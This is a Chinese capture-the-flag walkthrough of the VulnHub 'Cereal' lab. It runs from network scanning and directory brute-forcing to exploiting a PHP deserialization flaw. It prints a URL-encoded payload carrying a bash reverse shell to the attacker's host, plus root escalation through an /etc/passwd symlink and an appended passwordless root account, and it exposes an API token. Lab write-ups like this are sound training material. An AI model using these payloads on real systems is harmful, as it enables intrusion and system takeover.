靶机下载地址: https://www.vulnhub.com/entry/cereal-1,703/
教程链接地址: https://www.cnblogs.com/sainet/p/15779414.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135 (由于设置成了 DHCP、可能多变)
靶机 CEREAL:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

2 )粗略的识别一下该 ip 上开放了哪些端口
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.31. 83
靶机开放端口 21 , 22 , 80 , 139 , 445 , 3306 , 11111 , 55555
3 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息

检索到的有效服务如下所示
21 ftp:可尝试进行匿名登陆下载文件
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 、44441 http:可对 web 进行渗透测试收集信息
3306 mysql:可进行自制字典爆破或社工收集账户密码
139 端口,是 NetBIOS 会话服务端口,主要用于提供 Windows 文件和打印机共享以及 UNIX 中的 Samba 服务。可进行 smb 利用。
445 端口,通过它可以在局域网中轻松访问各种共享文件夹或共享打印机,能通过该端口共享硬盘。
注意到有很多服务名字是 tcpwrapped:
这说明 tcp 三次握手已经完成,但是并没有和目标主机建立连接。这表明,虽然目标主机的某项服务是可提供的,但你不在允许访问主机的名单列表中。当大量的端口服务都为 tcpwrapped 时,这说明可能是有负载均衡或者防火墙阻断了你的连接请求。
# FTP 匿名访问
打开 ftp://192.168.31.83 进行 ftp 信息收集

有一个空文件夹 pub、没有更多的详细信息暴露出来
# 网站信息收集
打开 http://192.168.31.83/ 进行 web 信息收集

对页面到处点了点之后,没有看到可以直接利用的点。包括查看 robots 文件、查看网页源代码,查看是否有 git 文件泄漏,查看网站的框架、CMS 是否有可以直接利用的漏洞,查看页面中是否有敏感信息暴露出来如可疑的域名。
接下来就对网站进行目录扫描,扫描是否存在敏感的目录,指定后缀与字典开扫,我喜欢用的字典是 directory-list-2.3-medium.txt 比较全。
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory- list-2.3-medium.txt -u http://192.168.31.83/

依次对识别到的目录进行访问:http://192.168.31.83/blog/

找到了两条信息,域名 http://cereal.ctf , 另一个看网站的形式像是 wordpress.
修改本地 hosts 文件,将域名的 DNS 解析指向靶机 ip 地址。

再次打开网站,看一下页面有啥变化

# wpscan 枚举
用 wpscan 进行一波扫描,枚举用户名
wpscan --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc --url http://cereal.ctf/blog/ --enumerate u

-> 得到两个用户名分别为 cereal 和 Cereal
一般只能收集到用户名、密码能收集到的情况比较少、我们就搜集一下试试
wpscan --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc -U 'cereal,Cereal' -P /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://cereal.ctf/blog/

果然密码搜集不出来,但是知道了域名的话就可以尝试目标网站是否存在子域名
尝试搜索子域名后无果,继续访问我们收集到的其他 web
http://192.168.31.83/admin/

一个后台的登陆地址,可以尝试弱口令,万能密码,sql 注入、burp 代理数据修改返回包、爆破密码、xss 攻击等。简单的试了试之后发现并没有什么很严重的弱点,就把现在的目标转到其他的网站上。
# 子域名收集
收集另一个开放的 web 站点的信息:http://192.168.31.83:44441

收集这个站点的目录并没有什么有价值的信息

收集 44441 端口上是否存在一些子域名
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

收集到了子域名 secure.cereal.ctf:44441
修改本地 hosts 文件,改变 DNS 解析指向为靶机 ip 地址

经过上述的信息收集,我们能得到的可以利用的漏洞很有可能就是在后来发现的这个子域名上。
# 继续信息收集
打开 http://secure.cereal.ctf:44441 进行信息收集

发现了命令执行,但是输入;&| 都没有起作用后,截取数据包,看数据包中的内容是些什么

可以选在 burp 自带的 url 解码,也可以在线 url 解码

如图依次点击可将原先的编码进行 url 解码

这是一个 php 反序列化漏洞,但是如果找不到源码的话很难去利用这个漏洞,寻找这个子域名下是否有一些目录存在
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://secure.cereal.ctf:44441/

扫的比较慢,而且大半天也没有什么发现
# ffuf 模糊测试
换个字典换个工具跑 ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://secure.cereal.ctf:44441/FUZZ

找到了一个 back_en 的备份文件夹

打开之后发现是没有权限去进入这个目录

但是这个目录是确实存在的,继续向下扫描看能否找到敏感文件
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://secure.cereal.ctf:44441/back_en/

找到一个备份文件 index.php.bak, 打开之后发现了源码

# php 反序列化
看源代码可以规范代码的格式,阅读此处的 php 代码查看反序列化造成的原因
view-source:http://secure.cereal.ctf:44441/back_en/index.php.bak

isValid 默认为 False,从浏览器发送请求时,会进入 if,并检查该值是否为 IP 地址。
尝试注入命令时,它拒绝了输入,如果我们在请求中发送值 True,则根本不会执行 if 块。
会直接调用 ping 方法。通过 shell_exec 函数执行命令。
1 | 需要先实例化、在进行序列化和url编码: |
可以在线 php 执行,输出内容如下

也可以用 php 去执行下面的代码

得到漏洞利用代码:
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A45%3A%22%3Bbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.31.15%2F4444+0%3E%261+%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将 payload 发送到 burp 中,用 burp 发送此恶意数据

同时在 kali 上监听端口,得到了反弹的 shell,并进行终端优化

# ln 软连接
上 pspy 监控看看,看到了一个脚本被定期执行

chown 是用来改变用户和用户组权限的,这个脚本可以更改位于用户 rocky 的主目录中的文件 public_html 内容的所有者,当前用户 apache 组,apache 用户可以访问目录中的文件

尝试直接修改 /etc/passwd 中的用户,生成一个无密码的是 root 权限的账户
ln -s /etc/passwd /home/rocky/public_html/etcpasswd
ln -s
后,对添加软连接的地方做出改变则原文件也发生了改变

等待定时任务被执行后,/etc/passwd 就会因为我们设置的软连接
/home/rocky/public_html/etcpasswd 的权限被修改为 rocky:apache,而
/etc/passwd 的权限也被改变为了 apache 可操作的文件
# root 密码置空
echo "mhq::0:0:root:/root:/bin/bash" >> /etc/passwd
删除了 x,也就是删除 root 用户的密码身份验证
通过 su mhq 可以直接无密码升级到 root 权限

可以检验一下,现在我们 root 密码仍然未知,但是 mhq 的用户密码 x 不存在

-> 可以直接通过一个普通用户提权到 root